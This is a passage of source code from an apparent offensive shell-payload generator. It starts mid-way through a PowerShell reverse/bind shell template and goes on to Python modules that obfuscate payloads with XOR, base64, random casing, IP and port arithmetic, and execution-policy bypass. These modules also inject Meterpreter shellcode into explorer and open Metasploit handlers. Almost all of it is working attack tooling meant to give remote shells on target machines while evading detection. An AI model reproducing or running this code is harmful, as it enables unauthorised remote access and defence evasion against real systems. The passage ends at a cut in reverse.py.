$IPAddress, 74 | 75 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] 76 | [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] 77 | [Int] 78 | $Port, 79 | 80 | [Parameter(ParameterSetName="reverse")] 81 | [Switch] 82 | $Reverse, 83 | 84 | [Parameter(ParameterSetName="bind")] 85 | [Switch] 86 | $Bind 87 | 88 | ) 89 | 90 | 91 | try 92 | { 93 | #Connect back if the reverse switch is used. 94 | if ($Reverse) 95 | { 96 | $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) 97 | } 98 | 99 | #Bind to the provided port if Bind switch is used. 100 | if ($Bind) 101 | { 102 | $listener = [System.Net.Sockets.TcpListener]$Port 103 | $listener.start() 104 | $client = $listener.AcceptTcpClient() 105 | } 106 | 107 | $stream = $client.GetStream() 108 | [byte[]]$bytes = 0..65535|%{0} 109 | 110 | #Send back current username and computername 111 | $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") 112 | $stream.Write($sendbytes,0,$sendbytes.Length) 113 | 114 | #Show an interactive PowerShell prompt 115 | $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') 116 | $stream.Write($sendbytes,0,$sendbytes.Length) 117 | 118 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 119 | { 120 | $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding 121 | $data = $EncodedText.GetString($bytes,0, $i) 122 | try 123 | { 124 | #Execute the command on the target. 125 | $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) 126 | } 127 | catch 128 | { 129 | Write-Warning "Something went wrong with execution of command on the target." 130 | Write-Error $_ 131 | } 132 | $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' 133 | $x = ($error[0] | Out-String) 134 | $error.clear() 135 | $sendback2 = $sendback2 + $x 136 | 137 | #Return the results 138 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 139 | $stream.Write($sendbyte,0,$sendbyte.Length) 140 | $stream.Flush() 141 | } 142 | $client.Close() 143 | if ($listener) 144 | { 145 | $listener.Stop() 146 | } 147 | } 148 | catch 149 | { 150 | Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 151 | Write-Error $_ 152 | } 153 | } 154 | Invoke-PowerShellTcp -Bind -Port PORT""" 155 | -------------------------------------------------------------------------------- /src/classes.py: -------------------------------------------------------------------------------- 1 | from obfuscators import randomize_vars, ipfuscate, obfuscate_port 2 | from encoders import powershell_base64, xor, to_unicode, to_urlencode 3 | from binascii import hexlify 4 | from binary import shellcode_to_hex, shellcode_to_ps1, WINDOWS_BLOODSEEKER_SCRIPT # imported since 0.3.6 5 | from sys import exit 6 | import platform 7 | import os 8 | import string 9 | 10 | 11 | def generate_file_name(extension=""): 12 | file_name = "" 13 | while len(file_name) < 8: 14 | random_char = os.urandom(1) 15 | if random_char in string.letters: 16 | file_name += random_char 17 | return file_name + extension 18 | 19 | 20 | class OperationalSystem(object): 21 | def __init__(self): 22 | self.OS = "linux" if "linux" in platform.platform().lower() else "windows" 23 | 24 | 25 | SysOS = OperationalSystem() 26 | 27 | 28 | def info(msg): 29 | if SysOS.OS == "linux": 30 | msg = "[\033[094m+\033[0m] {0}".format(msg) 31 | else: 32 | msg = "[+] {0}".format(msg) 33 | return msg 34 | 35 | 36 | def error(msg): 37 | if SysOS.OS == "linux": 38 | msg = "[\033[091m!\033[0m] {0}".format(msg) 39 | else: 40 | msg = "[!] {0}".format(msg) 41 | return msg 42 | 43 | 44 | def alert(msg): 45 | if SysOS.OS == "linux": 46 | msg = "[\033[093mALERT\033[0m] {0}".format(msg) 47 | else: 48 | msg = "[ALERT] {0}".format(msg) 49 | return msg 50 | 51 | 52 | def random_case_shuffle(data): 53 | """ 54 | Use os.urandom() to randomly choose case from a ASCII byte-stream 55 | @zc00l 56 | """ 57 | out = "" 58 | for char in data: 59 | out += char.upper() if ord(os.urandom(1)) % 2 == 0 else char.lower() 60 | return out 61 | 62 | 63 | def powershell_wrapper(name, code, args): 64 | """ 65 | --powershell-x86 and --powershell-x64 66 | Choose which powershel.exe binary to use. 67 | Useful when there is security policies restricting one, but not both. 68 | @zc00l 69 | 70 | --powershell-random-case 71 | Randomly set the case in powershell payloads. 72 | This might avoid some weak string filtering. 73 | @zc00l 74 | """ 75 | 76 | if args.powershell_x86 is True: 77 | code = code.replace("powershell.exe", "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe") 78 | elif args.powershell_x64 is True: 79 | code = code.replace("powershell.exe", "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") 80 | 81 | if "powershell" in name.lower() and args.powershell_random_case is True: 82 | code = random_case_shuffle(code) # apply random case if user requested. 83 | return code 84 | 85 | 86 | def xor_wrapper(name, code, args, shell="/bin/bash"): 87 | if args.shell is not "": 88 | shell = args.shell 89 | if "powershell" not in name.lower(): 90 | if "windows" not in name.lower(): 91 | code = """VAR1="";for VAR2 in $(echo {0}|sed "s/../&\\n/g"); do VAR1=$VAR1$(echo -e $(awk "BEGIN {{printf \\"%x\\n\\", xor(0x$VAR2, {1})}}"|sed "s/../\\\\\\\\x&/g"));done;echo $VAR1|{2}""".format(hexlify(xor(code, args.xor)), hex(args.xor), shell) 92 | code = shell + " -c '" + code + "'" 93 | code = randomize_vars(code, args.obfuscate_small) 94 | else: 95 | # Improved code in 0.3.6 96 | if "-Command" in code: 97 | prefix, xcode = code.split("-Command") 98 | else: 99 | prefix = "powershell.exe -nop -ep bypass " 100 | xcode = code 101 | pcode = xcode.replace('"', "") 102 | #pcode = pcode.replace("\\", '\\"') 103 | 104 | code = to_unicode(pcode) # String to Unicode 105 | code = xor(code, args.xor) # XOR encode using random key <-- 106 | code = powershell_base64(code, unicode_encoding=False) # We need it in base64 because it is binary 107 | code = """ $VAR1={0};$VAR2='{1}';$VAR3=[Convert]::FromBase64String($VAR2);$VAR4=foreach($VAR5 in $VAR3) {{$VAR5 -bxor $VAR1}};$VAR7=[System.Text.Encoding]::Unicode.GetString($VAR4);iex $VAR7""".format(args.xor, code) # Decryption stub 108 | code = prefix + "-Command " + '"%s"' % code 109 | code = randomize_vars(code, args.obfuscate_small) 110 | return code 111 | 112 | 113 | def base64_wrapper(name, code, args, shell="/bin/bash"): 114 | if args.shell is not "": 115 | shell = args.shell 116 | if args.base64 is True: 117 | if "powershell" not in name.lower(): # post-note: linux powershell is going to have problem. 118 | if "windows" not in name.lower(): 119 | code = "echo " + code.encode("base64").replace("\n", "") + "|base64 -d|{0}".format(shell) 120 | else: 121 | # Powershell encoding code 122 | # Improved code in 0.3.6 123 | if "-command" in code.lower(): 124 | prefix, xcode = str(code.lower()).split("-command") if args.powershell_random_case is True else code.split("-Command") 125 | else: 126 | prefix = "powershell.exe -nop -ep bypass " 127 | xcode = code 128 | 129 | pcode = xcode.replace('"', "") # Remove double quotes from -Command 130 | #pcode = pcode.replace("\\", "") # remove string quotation 131 | 132 | # It is needed to random case again, if the user chose to random-case. 133 | pcode = powershell_wrapper(name, pcode, args) 134 | code = prefix + "-Encoded " + powershell_base64(pcode[1:]) 135 | return code 136 | 137 | 138 | class Shell(object): 139 | def __init__(self, name, short_name, shell_type, proto, code, system=None, lang=None, arch=None, use_handler=None, use_http_stager=None): 140 | """ 141 | ShellCode object is responsible for holding information about 142 | the static characteristics and informations about this shell 143 | entry. 144 | It does not is reponsible for generating code or applying en- 145 | encoders. This is done by ReverseShell() or BindShell() clas- 146 | ses. 147 | """ 148 | 149 | # These are the required attributes; 150 | self.name = name 151 | self.type = shell_type 152 | self.proto = proto 153 | self.code = code 154 | self.short_name = short_name if len(short_name) > 0 else "generic" 155 | 156 | # These are optional attributes; 157 | self.system_os = "unknown" if system is None else system 158 | self.lang = "unknown" if lang is None else lang 159 | self.arch = "unknown" if arch is None else arch 160 | self.handler = None if use_handler is None else use_handler # this is going to be the handler function. 161 | self.handler_args = None # this is going to be set during execution. 162 | 163 | self.use_http_stager = False if use_http_stager is None else use_http_stager 164 | return 165 | 166 | def get_full_name(self): 167 | return self.system_os + "/" + self.type + "/" + self.proto + "/" + self.short_name 168 | 169 | 170 | class ReverseShell(object): 171 | def __init__(self, name, lang, args, code): 172 | self.name = name 173 | self.lang = lang 174 | self.args = args 175 | self.host = args.host 176 | self.port = args.port 177 | self.code = code 178 | self.payload = str() # this is where the final code is stored. 179 | 180 | def get(self): 181 | """ 182 | Generate the code. 183 | Apply encoding, in the correct order, of course. 184 | """ 185 | # Obfuscate IP and port if set in args 186 | if self.args.ipfuscate and self.lang != "powershell": # Windows shells doesn't support ipfuscation 187 | self.host = ipfuscate(self.host, self.args.obfuscate_small) 188 | self.port = obfuscate_port(self.port, self.args.obfuscate_small, self.lang) 189 | 190 | # Update of 0.3.6 191 | # Some custom shells will not need TARGET and PORT strings. 192 | # To deal with that, I will just try to find them in the string first. 193 | if "TARGET" in self.code and "PORT" in self.code: 194 | self.code = str(self.code.replace("TARGET", self.host)).replace("PORT", str(self.port)) 195 | 196 | # Apply variable randomization 197 | self.code = randomize_vars(self.code, self.args.obfuscate_small, self.lang) 198 | 199 | # Apply powershell-tuning if set in args. 200 | self.code = powershell_wrapper(self.name, self.code, self.args) 201 | 202 | else: 203 | # Custom shell. Here we need to program individually based in specifics. 204 | # TODO: I need to separate this into a custom file. 205 | 206 | if "bat2meterpreter" in self.name.lower(): 207 | print(info("Generating shellcode ...")) 208 | return self.code + shellcode_to_hex("windows/meterpreter/reverse_tcp", self.args.host, self.args.port) 209 | 210 | if "bloodseeker" in self.name.lower(): # This is for Bloodseeker project. 211 | 212 | # This one requires a stager. 213 | if self.args.stager is None: 214 | print(error("This payload REQUIRES --stager flag.")) 215 | exit(1) 216 | 217 | print(info("Generating shellcode ...")) 218 | malicious_script = str(WINDOWS_BLOODSEEKER_SCRIPT.decode("base64")).replace("SHELLCODEHERE", shellcode_to_ps1("windows/x64/meterpreter/reverse_tcp", self.args.host, self.args.port)) 219 | 220 | # TODO: Create a --bloodseeker-process flag to specify process name 221 | process_name = "explorer" 222 | self.code = malicious_script.replace("PROCESSNAME", process_name) 223 | print(alert("Make sure you have a handler for windows/x64/meterpreter/reverse_tcp listening \ 224 | in your machine.")) 225 | return self.code # we don't need encoder in this one. 226 | else: 227 | print(error("No custom shell procedure was arranged for this shell. This is fatal.")) 228 | exit(1) 229 | 230 | # Apply xor encoding. 231 | self.code = self.code if self.args.xor is 0 else xor_wrapper(self.name, self.code, self.args) 232 | 233 | # Apply base64 encoding. 234 | self.code = base64_wrapper(self.name, self.code, self.args) 235 | 236 | # Apply URL-encoding 237 | if self.args.urlencode is True and self.args.stager is None: 238 | self.code = to_urlencode(self.code) 239 | 240 | return self.code 241 | 242 | 243 | class BindShell(object): 244 | def __init__(self, name, lang, args, code): 245 | self.name = name 246 | self.lang = lang 247 | self.args = args 248 | self.port = args.port 249 | self.code = code 250 | self.payload = str() # this is where the final code is stored. 251 | 252 | def get(self): 253 | """ 254 | Generate the code. 255 | Apply encoding, in the correct order, of course. 256 | """ 257 | # Obfuscate IP and port if set in args 258 | if self.args.ipfuscate: 259 | self.port = obfuscate_port(self.port, self.args.obfuscate_small, self.lang) 260 | 261 | # Set connection data to the code. 262 | self.code = self.code.replace("PORT", str(self.port)) 263 | 264 | # Apply variable randomization 265 | self.code = randomize_vars(self.code, self.args.obfuscate_small, self.lang) 266 | 267 | # Apply powershell-tuning if set in args. 268 | self.code = powershell_wrapper(self.name, self.code, self.args) 269 | 270 | # Apply xor encoding. 271 | self.code = self.code if self.args.xor is 0 else xor_wrapper(self.name, self.code, self.args) 272 | 273 | # Apply base64 encoding. 274 | self.code = base64_wrapper(self.name, self.code, self.args) 275 | 276 | # Apply url-encoding 277 | if self.args.urlencode is True: 278 | self.code = to_urlencode(self.code) 279 | 280 | return self.code 281 | -------------------------------------------------------------------------------- /src/encoders.py: -------------------------------------------------------------------------------- 1 | from urllib import quote 2 | from binascii import hexlify 3 | 4 | 5 | def to_urlencode(data): 6 | """ 7 | URL-encode a byte stream, plus some other characters that 8 | might be avoided by quote() from urllib. 9 | @zc00l 10 | """ 11 | additional = [".", "/"] 12 | data = quote(data) 13 | for each in additional: 14 | data = data.replace(each, "%" + hexlify(each)) 15 | return data 16 | 17 | 18 | def to_unicode(data): 19 | """ 20 | Get a string and make it Unicode 21 | @zc00l 22 | """ 23 | out = "" 24 | for char in data: 25 | out += char + "\x00" 26 | return out 27 | 28 | 29 | def powershell_base64(data, unicode_encoding=True): 30 | """ 31 | Encode something compatible for Powershell base64-encoding 32 | Default behaviour is to encode Unicode before Base64. 33 | @zc00l 34 | """ 35 | data = to_unicode(data) if unicode_encoding is True else data 36 | return data.encode("base64").replace("\n", "") 37 | 38 | 39 | def xor(data, key): 40 | """ 41 | XOR a byte-stream with a single key value (int) 42 | @zc00l 43 | """ 44 | if type(key) is not int: 45 | return None 46 | output = "" 47 | for char in data: 48 | index = data.index(char) 49 | output += chr(ord(data[index]) ^ key) 50 | return output 51 | 52 | -------------------------------------------------------------------------------- /src/handlers.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # Full stager remake. Now I am going to lead a major change in this functionality. 3 | # I am going to lendo multi/handler module of Metasploit Framework to do this job. 4 | # This is going to be done mostly because of meterpreter upgrade possibility. 5 | 6 | from shellpop import * 7 | from time import sleep 8 | import termios 9 | import select 10 | import socket 11 | import os 12 | import fcntl 13 | import string 14 | import random 15 | from os import path, system 16 | 17 | class PTY: 18 | def __init__(self, slave=0, pid=os.getpid()): 19 | # apparently python GC's modules before class instances so, here 20 | # we have some hax to ensure we can restore the terminal state. 21 | self.termios, self.fcntl = termios, fcntl 22 | 23 | # open our controlling PTY 24 | self.pty = open(os.readlink("/proc/%d/fd/%d" % (pid, slave)), "rb+") 25 | 26 | # store our old termios settings so we can restore after 27 | # we are finished 28 | self.oldtermios = termios.tcgetattr(self.pty) 29 | 30 | # get the current settings se we can modify them 31 | newattr = termios.tcgetattr(self.pty) 32 | 33 | # set the terminal to uncanonical mode and turn off 34 | # input echo. 35 | newattr[3] &= ~termios.ICANON & ~termios.ECHO 36 | 37 | # don't handle ^C / ^Z / ^\ 38 | newattr[6][termios.VINTR] = '\x00' 39 | newattr[6][termios.VQUIT] = '\x00' 40 | newattr[6][termios.VSUSP] = '\x00' 41 | 42 | # set our new attributes 43 | termios.tcsetattr(self.pty, termios.TCSADRAIN, newattr) 44 | 45 | # store the old fcntl flags 46 | self.oldflags = fcntl.fcntl(self.pty, fcntl.F_GETFL) 47 | # fcntl.fcntl(self.pty, fcntl.F_SETFD, fcntl.FD_CLOEXEC) 48 | # make the PTY non-blocking 49 | fcntl.fcntl(self.pty, fcntl.F_SETFL, self.oldflags | os.O_NONBLOCK) 50 | 51 | def read(self, size=8192): 52 | return self.pty.read(size) 53 | 54 | def write(self, data): 55 | ret = self.pty.write(data) 56 | self.pty.flush() 57 | return ret 58 | 59 | def fileno(self): 60 | return self.pty.fileno() 61 | 62 | def __del__(self): 63 | # restore the terminal settings on deletion 64 | self.termios.tcsetattr(self.pty, self.termios.TCSAFLUSH, self.oldtermios) 65 | self.fcntl.fcntl(self.pty, self.fcntl.F_SETFL, self.oldflags) 66 | 67 | 68 | class TCP_PTY_Handler(object): 69 | def __init__(self, addr, bind=True): 70 | self.bind = bind 71 | self.addr = addr 72 | 73 | if self.bind: 74 | self.sock = socket.socket() 75 | self.sock.bind(self.addr) 76 | self.sock.listen(5) 77 | 78 | def handle(self, addr=None): 79 | addr = addr or self.addr 80 | if self.bind is True: 81 | print(info("Waiting for connections ...")) 82 | sock, addr = self.sock.accept() 83 | print(info("Connection inbound from {0}:{1}".format(self.addr[0], self.addr[1]))) 84 | else: 85 | sock = socket.socket() 86 | print(info("Waiting up to 10 seconds to start establishing the connection ...")) 87 | sleep(10) 88 | 89 | print(info("Connecting to remote endpoint ...")) 90 | n = 0 91 | while n < 10: 92 | try: 93 | sock.connect(addr) 94 | print(info("Connection to remote endpoint established.")) 95 | break 96 | except socket.error: 97 | print(error("Connection could not be established.")) 98 | n += 1 99 | sleep(5) 100 | 101 | 102 | # create our PTY 103 | pty = PTY() 104 | 105 | # input buffers for the fd's 106 | buffers = [ [ sock, [] ], [ pty, [] ] ] 107 | def buffer_index(fd): 108 | for index, buffer in enumerate(buffers): 109 | if buffer[0] == fd: 110 | return index 111 | 112 | readable_fds = [ sock, pty ] 113 | 114 | data = " " 115 | # keep going until something deds 116 | while data: 117 | # if any of the fd's need to be written to, add them to the 118 | # writable_fds 119 | writable_fds = [] 120 | for buffer in buffers: 121 | if buffer[1]: 122 | writable_fds.append(buffer[0]) 123 | 124 | r, w, x = select.select(readable_fds, writable_fds, []) 125 | 126 | # read from the fd's and store their input in the other fd's buffer 127 | for fd in r: 128 | buffer = buffers[buffer_index(fd) ^ 1][1] 129 | if hasattr(fd, "read"): 130 | data = fd.read(8192) 131 | else: 132 | data = fd.recv(8192) 133 | if data: 134 | buffer.append(data) 135 | 136 | # send data from each buffer onto the proper FD 137 | for fd in w: 138 | buffer = buffers[buffer_index(fd)][1] 139 | data = buffer[0] 140 | if hasattr(fd, "write"): 141 | fd.write(data) 142 | else: 143 | fd.send(data) 144 | buffer.remove(data) 145 | 146 | # close the socket 147 | sock.close() 148 | 149 | 150 | def error(err): 151 | return "[\033[091m!\033[0m] Error: {0}".format(err) 152 | 153 | 154 | def random_file(n=10): 155 | """ 156 | Generates a random rc file in /tmp/folder. 157 | """ 158 | file_name = str() 159 | while len(file_name) < n: 160 | chosen = list(string.letters)[random.randint(1, len(string.letters))-1] 161 | file_name += chosen 162 | return "/tmp/" + file_name + ".rc" 163 | 164 | 165 | class MetaHandler(object): 166 | def __init__(self): 167 | self.host = None 168 | self.port = None 169 | self.shell = None 170 | self.payload = None 171 | 172 | def check_system(self, is_bind=False): 173 | if self.shell.lower() == "cmd": 174 | if is_bind is False: 175 | self.payload = "windows/shell_reverse_tcp" 176 | else: 177 | self.payload = "windows/shell_bind_tcp" 178 | return 179 | elif self.shell.lower() == "powershell": 180 | if is_bind is False: 181 | self.payload = "windows/shell_reverse_tcp" 182 | else: 183 | self.payload = "windows/shell_bind_tcp" 184 | return 185 | elif self.shell.lower() == "bash": 186 | if is_bind is False: 187 | self.payload = "linux/x86/shell_reverse_tcp" 188 | else: 189 | self.payload = "linux/x86/shell_bind_tcp" 190 | return 191 | elif self.shell.lower() == "ssl": 192 | if is_bind is False: 193 | self.payload = "python/shell_reverse_tcp_ssl" 194 | return 195 | self.payload = "generic/shell_reverse_tcp" 196 | 197 | 198 | class Generic(MetaHandler): 199 | def __init__(self, conn, shell, is_bind=False): 200 | self.file_name = random_file() 201 | self.host = conn[0] 202 | self.port = conn[1] 203 | self.shell = shell 204 | self.check_system(is_bind=is_bind) # sets self.payload 205 | 206 | def generate_rc_content(self, meterpreter=False): 207 | """ 208 | Generate a rc content to be used in metasploit. 209 | """ 210 | 211 | # This sets the basic information to our handler module. 212 | base_rc = "set SessionLogging true\nset TimestampOutput true\nset VERBOSE true\n use exploit/multi/handler\nset PAYLOAD {0}\nset LHOST {1}\nset LPORT {2}\n".format(self.payload, self.host, self.port) 213 | 214 | # This is not yet implemented. 215 | #if meterpreter is True: # Haha! Lets upgrade this! 216 | # base_rc += "set AutoRunScript post/multi/manage/shell_to_meterpreter\n" 217 | 218 | # After everything is set, we need to finish it with "run" 219 | base_rc += "run\n" 220 | 221 | return base_rc 222 | 223 | def _generate_execution_string(self): 224 | return "msfconsole -q -r {0}".format(self.file_name) 225 | 226 | def generate_and_execute(self, meterpreter=False): 227 | if path.exists(self.file_name): 228 | print(error("File already exists! Aborting :(")) 229 | return None 230 | with open(self.file_name, "wb") as f: 231 | f.write(self.generate_rc_content(meterpreter=meterpreter)) 232 | 233 | # Execute our .rc file to open metasploit handler. 234 | system("""xterm -fn "-misc-fixed-medium-r-normal--18-*-*-*-*-*-iso8859-15" +sb -geometry 100x25+0+0 -e """ + self._generate_execution_string()) 235 | 236 | 237 | def get_shell_name(shell_obj): 238 | """ 239 | This ridiculously simple function is enough to determine 240 | the receiving shell type for meterpreter upgrade. 241 | """ 242 | if shell_obj.system_os == "linux": 243 | if "ssl" in shell_obj.short_name: 244 | return "ssl" 245 | else: 246 | return "bash" 247 | if shell_obj.system_os == "windows": 248 | if "powershell" in shell_obj.short_name: 249 | return "powershell" 250 | else: 251 | return "cmd" 252 | 253 | 254 | def reverse_tcp_handler((args, shell)): 255 | shell_name = get_shell_name(shell) 256 | handler = Generic((args.host, args.port), shell_name, is_bind=False) 257 | handler.generate_and_execute() 258 | 259 | 260 | def bind_tcp_handler((args, shell)): 261 | shell_name = get_shell_name(shell) 262 | handler = Generic((args.host, args.port), shell_name, is_bind=True) 263 | handler.generate_and_execute() 264 | 265 | 266 | # I am keeping these handlers because of @Lowfuel 267 | 268 | def bind_tcp_pty_handler((args, shell)): 269 | handler = TCP_PTY_Handler((args.host, args.port), bind=False) 270 | handler.handle() 271 | 272 | 273 | def reverse_tcp_pty_handler((args, shell)): 274 | handler = TCP_PTY_Handler((args.host, args.port), bind=True) 275 | handler.handle() 276 | -------------------------------------------------------------------------------- /src/obfuscators.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | import re 4 | import string 5 | 6 | def randomize_vars(code, smallVars, lang=""): 7 | """ 8 | Parses 'code' as a string, and replaces all arbitrary 9 | numbers with random ones, and randomly names variables. 10 | Accounts for quirks in certain languages that enforce 11 | nonstandard variable naming rules, and ensures no two 12 | variables have the same name in a given payload. 13 | @capnspacehook 14 | """ 15 | randGen = random.SystemRandom() 16 | 17 | nums = re.findall("NUM\d", code) 18 | vars = re.findall("VAR\d+", code) 19 | 20 | if smallVars: 21 | maxNum = 999 22 | else: 23 | maxNum = 9999999 24 | 25 | randNums = [] 26 | for num in nums: 27 | randNum = randGen.randint(1, maxNum) 28 | while randNum in randNums: 29 | randNum = gen_random_num(1, maxNum) 30 | 31 | code = code.replace(num, str(randGen.randint(0, maxNum))) 32 | randNums.append(randNum) 33 | 34 | randVars = [] 35 | for var in vars: 36 | randVar = gen_random_var(smallVars, lang) 37 | while randVar in randVars: 38 | randVar = gen_random_var(smallVars, lang) 39 | 40 | code = code.replace(var, randVar) 41 | randVars.append(randVar) 42 | 43 | return code 44 | 45 | 46 | def gen_random_var(smallVars, lang): 47 | """ 48 | Returns a randomly named variable. 49 | @capnspacehook 50 | """ 51 | randGen = random.SystemRandom() 52 | 53 | if smallVars: 54 | minVarLen = 3 55 | maxVarLen = 6 56 | else: 57 | minVarLen = 6 58 | maxVarLen = 15 59 | 60 | randVarLen = randGen.randint(minVarLen, maxVarLen) 61 | randomVar = "".join(randGen.choice(string.ascii_letters) for x in range(randVarLen)) 62 | 63 | # Ruby requires that variables start with a lowercase letter 64 | if lang == "ruby": 65 | randomVar = randomVar[0].lower() + randomVar[1:] 66 | 67 | return randomVar 68 | 69 | 70 | def ipfuscate(ip, smallIP): 71 | """ 72 | Obfuscate an IP address by converting it to decimal, hex, 73 | octal, or a combination of the three. 74 | Code borrowed from @vysecurity (https://github.com/vysec/IPFuscator) 75 | Implemented by @capnspacehook 76 | """ 77 | randGen = random.SystemRandom() 78 | 79 | parts = ip.split('.') 80 | 81 | if not smallIP: 82 | ip = random_base_ip_gen(parts, smallIP) 83 | 84 | else: 85 | type = randGen.randint(0, 3) 86 | decimal = int(parts[0]) * 16777216 + int(parts[1]) * 65536 + int(parts[2]) * 256 + int(parts[3]) 87 | 88 | if type == 0: 89 | ip = decimal 90 | elif type == 1: 91 | ip = hex(decimal) 92 | elif type == 2: 93 | ip = oct(decimal) 94 | else: 95 | ip = random_base_ip_gen(parts, smallIP) 96 | 97 | return str(ip) 98 | 99 | 100 | def random_base_ip_gen(parts, smallIP): 101 | """ 102 | Used by ipfuscate(), returns an obfuscated IP with random bases. 103 | Code borrowed from @vysecurity (https://github.com/vysec/IPFuscator) 104 | Implemented by @capnspacehook 105 | """ 106 | randGen = random.SystemRandom() 107 | 108 | hexParts = [] 109 | octParts = [] 110 | 111 | for i in parts: 112 | hexParts.append(hex(int(i))) 113 | octParts.append(oct(int(i))) 114 | 115 | randBaseIP = "" 116 | baseChoices = [] 117 | ip_obfuscated = False 118 | while not ip_obfuscated: 119 | for i in range(0,4): 120 | val = randGen.randint(0, 2) 121 | baseChoices.append(val) 122 | if val == 0: 123 | # dec 124 | randBaseIP += parts[i] + '.' 125 | elif val == 1: 126 | # hex 127 | if not smallIP: 128 | randBaseIP += hexParts[i].replace('0x', '0x' + '0' * (ord(os.urandom(1)) % 31)) + '.' 129 | else: 130 | randBaseIP += hexParts[i] + '.' 131 | else: 132 | # oct 133 | if not smallIP: 134 | randBaseIP += '0' * (ord(os.urandom(1)) % 31) + octParts[i] + '.' 135 | else: 136 | randBaseIP += octParts[i] + '.' 137 | 138 | # Check to make sure all four parts of IP aren't decimal... in which case nothing would have changed 139 | if sum(baseChoices) > 4: 140 | ip_obfuscated = True 141 | else: 142 | randBaseIP = "" 143 | del baseChoices[:] 144 | 145 | return randBaseIP[:-1] 146 | 147 | 148 | def obfuscate_port(port, smallExpr, lang): 149 | """ 150 | Obfuscate a port number by replacing the single int 151 | with an arithmetic expression. Returns a string that 152 | when evaluated mathematically, is equal to the port entered. 153 | @capnspacehook 154 | """ 155 | randGen = random.SystemRandom() 156 | 157 | exprStr, baseExprPieces = gen_simple_expr(port, smallExpr) 158 | 159 | if smallExpr: 160 | portExpr = exprStr % (baseExprPieces[0], baseExprPieces[1], baseExprPieces[2]) 161 | else: 162 | subExprs = [] 163 | for piece in baseExprPieces: 164 | expr, pieces = gen_simple_expr(piece, smallExpr) 165 | subExprs.append(expr % (pieces[0], pieces[1], pieces[2])) 166 | 167 | portExpr = exprStr % (subExprs[0], subExprs[1], subExprs[2]) 168 | 169 | # Randomly replace '+' with '--'. Same thing, more confusing 170 | match = re.search("\+\d+", portExpr) 171 | beginingExprLen = 0 172 | while match is not None: 173 | match = list(match.span()) 174 | match[0] += beginingExprLen 175 | match[1] += beginingExprLen 176 | choice = randGen.randint(0, 1) 177 | 178 | if choice: 179 | portExpr = portExpr[:match[0]] + "-(-" + portExpr[match[0] + 1:match[1]] + ")" + portExpr[match[1]:] 180 | 181 | beginingExprLen = len(portExpr[:match[1]]) 182 | match = re.search("\+\d+", portExpr[match[1]:]) 183 | 184 | # Properly separate any double '-' signs. Some langs complain 185 | match = re.search("--\d+", portExpr) 186 | beginingExprLen = 0 187 | while match is not None: 188 | match = list(match.span()) 189 | match[0] += beginingExprLen 190 | match[1] += beginingExprLen 191 | 192 | portExpr = portExpr[:match[0]] + "-(" + portExpr[match[0] + 1:match[1]] + ")" + portExpr[match[1]:] 193 | 194 | beginingExprLen = len(portExpr[:match[1]]) 195 | match = re.search("--\d+", portExpr[match[1]:]) 196 | 197 | # Bash requires mathematical expressions to be in $((expr)) syntax 198 | if lang == "bash": 199 | portExpr = "$((" + portExpr + "))" 200 | 201 | return portExpr 202 | 203 | 204 | def gen_simple_expr(n, smallExpr): 205 | """ 206 | Generates a simple mathematical expression of 3 terms 207 | that equal the number passed. Returns a template 208 | expression string, and a tuple of the values of the 209 | terms in the generated expression. 210 | @capnspacehook 211 | """ 212 | randGen = random.SystemRandom() 213 | 214 | if type(n) == str: 215 | n = int(eval(n)) 216 | 217 | if n == 0: 218 | N = 0 219 | while N == 0: 220 | N = randGen.randint(-99999, 99999) 221 | else: 222 | N = n 223 | 224 | choice = randGen.randint(0, 2) 225 | left = 0 226 | if choice == 0: 227 | if N < 0: 228 | left = randGen.randint(N * 2, -N + 1) 229 | right = randGen.randint(N - 1, -N * 2) 230 | else: 231 | left = randGen.randint(-N * 2, N - 1) 232 | right = randGen.randint(-N + 1, N * 2) 233 | 234 | if left + right < n: 235 | offset = n - (left + right) 236 | expr = "((%s+%s)+%s)" 237 | else: 238 | offset = (left + right) - n 239 | expr = "(-(-(%s+%s)+%s))" 240 | elif choice == 1: 241 | if N < 0: 242 | left = randGen.randint(N - 1, -N * 2) 243 | right = randGen.randint(N * 2, N - 1) 244 | else: 245 | left = randGen.randint(-N + 1, N * 2) 246 | right = randGen.randint(-N * 2, N + 1) 247 | 248 | if left - right < n: 249 | offset = n - (left - right) 250 | expr = "((%s-%s)+%s)" 251 | else: 252 | offset = (left - right) - n 253 | expr = "(-(-(%s-%s)+%s))" 254 | elif choice == 2: 255 | if N < 0: 256 | left = randGen.randint(int(N / 2), -int(N / 2) - 2) 257 | right = randGen.randint(int(N / 3), -int(N / 3)) 258 | else: 259 | left = randGen.randint(-int(n / 2), int(n / 2) + 2) 260 | right = randGen.randint(-int(n / 3), int(n / 3)) 261 | 262 | if left * right < n: 263 | offset = n - (left * right) 264 | expr = "((%s*%s)+%s)" 265 | else: 266 | offset = (left * right) - n 267 | expr = "(-(-(%s*%s)+%s))" 268 | 269 | # Replace all zeros with an expression. Zeros make arithemetic easy 270 | if not smallExpr: 271 | if left == 0: 272 | zeroExpr, terms = gen_simple_expr(0, smallExpr) 273 | left = zeroExpr % (terms[0], terms[1], terms[2]) 274 | if right == 0: 275 | zeroExpr, terms = gen_simple_expr(0, smallExpr) 276 | right = zeroExpr % (terms[0], terms[1], terms[2]) 277 | if offset == 0: 278 | zeroExpr, terms = gen_simple_expr(0, smallExpr) 279 | offset = zeroExpr % (terms[0], terms[1], terms[2]) 280 | 281 | return (expr, (left, right, offset)) 282 | -------------------------------------------------------------------------------- /src/reverse.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from binary import 